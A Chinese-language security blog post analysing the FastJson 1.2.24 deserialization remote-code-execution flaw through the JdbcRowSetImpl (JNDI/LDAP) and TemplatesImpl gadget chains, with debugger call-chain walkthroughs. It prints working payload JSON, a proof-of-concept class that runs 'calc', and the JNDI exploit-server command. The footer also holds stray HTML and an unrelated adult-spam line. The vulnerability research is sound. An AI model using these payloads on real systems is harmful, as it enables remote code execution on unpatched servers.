<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】FastJson<=1.2.24RCE雙鏈詳細分析

    VSole2022-03-21 08:25:25

    最近在學習FastJson,阿里這個開源的JSON解析庫,了解到他被頻繁爆出漏洞,于是我做了詳細的fastjson漏洞史分析。本文只涉及<1.2.25版本的RCE的兩種利用方式,后續會補充其他漏洞。

     0x01 FastJson簡單使用

    序列化是把java對象轉為json字符串,反序列化即為把json字符串轉為java對象,這樣就方便進行傳輸或者存儲。之前有人對比過java序列化、fastjson和jackson等序列化反序列化的速度,fastjson快的同時也帶來一些安全問題。寫一個簡單的例子演示一下反序列化的使用。

    //fastjson.javapackage test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;public class fastjson {public static void main(String args[]){        String obj = "{\"@type\":\"test.Student\",\"name\":\"zzZ\",\"age\":111}";        Student obj1 = JSON.parseObject(obj, Student.class, Feature.SupportNonPublicField);        System.out.println("name:"+obj1.getName()+"age:"+obj1.getAge());    }}----輸-出-name:zzZage:111//Student.javapackage test;public class Student {public String name;private int age;public String getName() {return name;    }public void setName(String name) {this.name = name;    }public int getAge() {return age;    }public void setAge(int age) {this.age = age;    }}
    

    0x02 漏洞由來

    fastjson的漏洞主要都是因為AutoType造成的,后續的修復和其他版本的繞過都圍繞此來進行。

    fastjson在進行序列化時會掃描目標的get方法,并將字段的值序列化到JSON字符串中。而當一個類中包含了一個接口(或抽象類)的時,在使用fastjson進行序列化的時候,會將其子類型抹去,只保留接口(或抽象類)的類型,這就導致及逆行反序列化時無法得到原始的類型。為了解決這個問題,fastjson在JSON字符串中添加了@type標識(AutoType功能),標注了類對應的原始類型,也就可以在反序列化的時候可以找到具體類型。

    在1.2.25之前,AutoType是默認開啟,而且沒有任何防護,我們只需要傳入一個惡意類,配合java反射機制和rmi或者ldap服務就可以實現RCE。在1.2.25中修復,添加了checkAutotype,被繞過后又不斷豐富黑白名單直到今天。我們詳細一點點分析。

     0x03 兩條調用鏈分析

    利用JdbcRowSetImpl類進行RCE

    一、環境搭建

    使用IDEA和JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(用來搭建rmi和ldap服務)。

    新建maven項目后添加1.2.23版本fastjson的依賴,之后添加com.fj.learnFJ.java。

    package com.fj;
    import com.alibaba.fastjson.JSON;
    public class learnFJ {public static void main(String args[]){String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +" \"autoCommit\":true}";JSON.parse(payload);        }}
    

    使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建服務。


    java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
    

    二、調用分析

    首先在JSON.parse(payload)下斷點后運行

    跟進后調用parse.parse來解析

    因為是左大括號{,所以跳轉到case LBRACE執行,并在1327行調用parseObject()反序列化

    進入獲取內容的for循環,并獲得payload中第一個字符’”‘

    獲取引號后,獲取其內容@type

    之后進行第二個值的獲取,得到類名

    將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的類

    之后fastjson會在內部處理jdbcrowsetimpl類。我們在JdbcRowSetImpl類setDataSourceName()處下斷點,因為傳入了DataSourceName,所以會進行調用

    之后調用抽象父類BaseRowSet的setDataSourceName給dataSource賦值

    之后會調用setAutoCommit(),其中調用了connect(),跟進

    connect()中調用了look(),這里的getDataSourceName()就是我們傳入的dataSourceName,跟進look看看

    調用了getURLOrDefaultInitCtx(name).lookup(),跟進

    在getURLOrDefaultInitCtx()內,調用getURLContext()請求ldap服務

    之后通過getURLObject()從遠程的ldap服務獲取Context對象

    在getURLObject()內調用factory.getObjectInstance(),完成反序列化,調用了payload

    完整調用鏈:

    利用TemplatesImpl類進行RCE

    一、環境搭建

    我們使用IDEA搭建即可。

    添加maven依賴后,添加Poc.java

    //Poc.java
    package com.fj;
    import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.maven.surefire.shade.booter.org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;
    public class Poc {public static String readClass(String cls){        ByteArrayOutputStream bos = new ByteArrayOutputStream();try {            IOUtils.copy(new FileInputStream(new File(cls)), bos);        } catch (IOException e) {            e.printStackTrace();        }
    String result = Base64.encodeBase64String(bos.toByteArray());
    return result;    }
    public static void poc() {        ParserConfig config = new ParserConfig();        final String fileSeparator = System.getProperty("file.separator");String path = "C:\\Users\\xxx\\Desktop\\code\\evil.class";String code = readClass(path);
            final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String text1 = "{\"@type\":\"" + CLASS +"\",\"_bytecodes\":[\""+code+"\"]," +"'_name':'a.b'," +"'_tfactory':{ }," +"\"_outputProperties\":{ }}";        System.out.println(text1);Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);    }
    public static void main(String args[]) {        poc();    }}
    

    添加evil.java,并用javac編譯為evil.class。


    //evil.java
    package com.fj;
    import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;
    public class evil extends AbstractTranslet{public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {    }public evil() throws IOException {        Runtime.getRuntime().exec("calc");    }public static void main(String[] args) throws IOException {        evil obj = new evil();    }}
    

    運行后彈出計算器。

    二、調用分析

    對于TemplatesImpl的payload,在高版本java中要開啟Feature.SupportNonPublicField才能對非共有屬性的反序列化處理,因此存在一定限制,而之前第一種方法中JdbcRowSetImpl利用幾乎無限制。接下來簡單分析下TemplatesImpl鏈的調用。

    在parseObject()下斷點后調式

    跟第一種一樣進入deserializer.deserialze() 進行反序列化

    之后進入parseField()對json字符串中的一些key值進行匹配

    在parseField()中調用smartMatch()對key值進行處理

    之后進入fieldDeserializer.parseField()

    在fieldDeserializer.parseField()中調用了setValue(),跟進

    setValue()中method內方法為getOutputProperties(),并在后面通過反射機制調用,進入TemplatesImpl類

    getOutputProperties()內調用newTransformer()會創建Transformer實例,我們跟進

    在內部會調用getTransletInstance()創建實例之后返回給上層函數,我們跟進

    在getTransletInstance()內,調用defineTransletClasses()遍歷_bytecodes數組(判斷是byte[]數組會自動base64解碼,所以poc里需要進行base64編碼),之后調用(AbstractTranslet) _class[_transletIndex].newInstance()實例化類,類定義的是靜態方法,執行觸發payload

    0x04 結語

    上面詳細跟蹤了兩條鏈的利用方式,相信對于 <1.2.25漏洞的利用已經非常清楚了。

    這次的漏洞修復方式是默認關閉AutoType的支持,添加了checkAutotype來判斷是否符合要求,并添加了白名單和黑名單來防護AutoType是開啟的情況。在之后又出現了各種繞過的姿勢,下篇文章繼續分析。

    stringfastjson
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。 簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
    漏洞分析花了蠻多時間
    fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。
    fastjson的漏洞主要都是因為AutoType造成的,后續的修復和其他版本的繞過都圍繞此來進行。
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    java版本: java version "1.8.0_131" Java(TM) SE Runtime Environment (build 1.8.0_131-b11) Java HotSpot(TM) 64-Bit Server VM (build 25.131-b11, mixed mode)
    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。 在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:
    Spring MVC是一種基于Java的實現了Web MVC設計模式的請求驅動類型的輕量級Web框架,即使用了MVC架構模式的思想,將web層進行職責解耦,基于請求驅動指的就是使用請求-響應模型,框架的目的就是幫助我們簡化開發,Spring Web MVC也是要簡化我們日常Web開發的
    Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用于各大廠商的 Java 項目中。fastjson 于 1.2.24 版本后增加了反序列化白名單,而在 1.2.48 以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类